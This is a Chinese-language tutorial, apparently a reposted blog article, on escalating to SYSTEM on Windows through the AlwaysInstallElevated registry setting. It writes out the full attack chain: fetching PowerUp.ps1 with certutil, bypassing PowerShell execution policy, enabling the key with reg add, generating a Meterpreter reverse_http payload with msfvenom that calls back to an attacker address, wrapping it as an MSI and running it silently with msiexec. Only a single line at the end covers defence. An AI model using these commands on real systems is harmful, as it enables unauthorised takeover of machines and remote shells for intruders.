利用AlwaysInstallElevated提权
程序员文章站
2022-07-15 14:21:00
...
CATALOG
前言
AlwaysInstallElevated是注册表的一个键值,当其值为1的时候,普通用户即可以system权限安装msi程序。
利用过程
1.判断是否**alwaysinstallelevated
1.1通过powerup判断
- 下载powerup
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
- 打开powershell,绕过执行策略并添加倒入powerup模块
Set-ExecutionPolicy Bypass -Scope Process
. .\PowerUp.ps1
- 使用Get-RegistryAlwaysInstallElevated命令
综上确定没有**AlwaysInstallElevated
1.2通过注册表的键值判断
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
也确定了没有**AlwaysInstallElevated。
2.**AlwaysInstallElevated
**它可以通过修改注册表的键值或者在图形化页面上**。
图形化如下,路径为计算机设置\管理模版\windows组件\windows installer
,选中已启用即可,需要管理员权限:
通过修改注册表
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
修改注册表的这两项需要有下面两权限:
- SeRestorePrivilege
- SeTakeOwnershipPrivilege
使用whoami /priv可以查看权限。
3.提权
- 下载exemsi
https://www.exemsi.com/download/ - 用msf生成exe
msfvenom -p windows/x64/meterpreter/reverse_http LPORT=9090 LHOST=172.16.250.1 -f exe >1.exe
-
使用exemsi将exe封装为msi。
软件页面如下,这一部很简单,不过多阐述。 -
运行msi程序,得到system权限的shell。
受害者机器上执行:msiexec /q /i 1.msi
攻击者机器上弹回shell:
4.防御方式
时刻监控AlwaysInstallElevated键,在不必要的情况下,请将AlwaysInstallElevated设置为false。
5.参考文章
上一篇: mysql两种提权方式
下一篇: 利用Docker做集群管理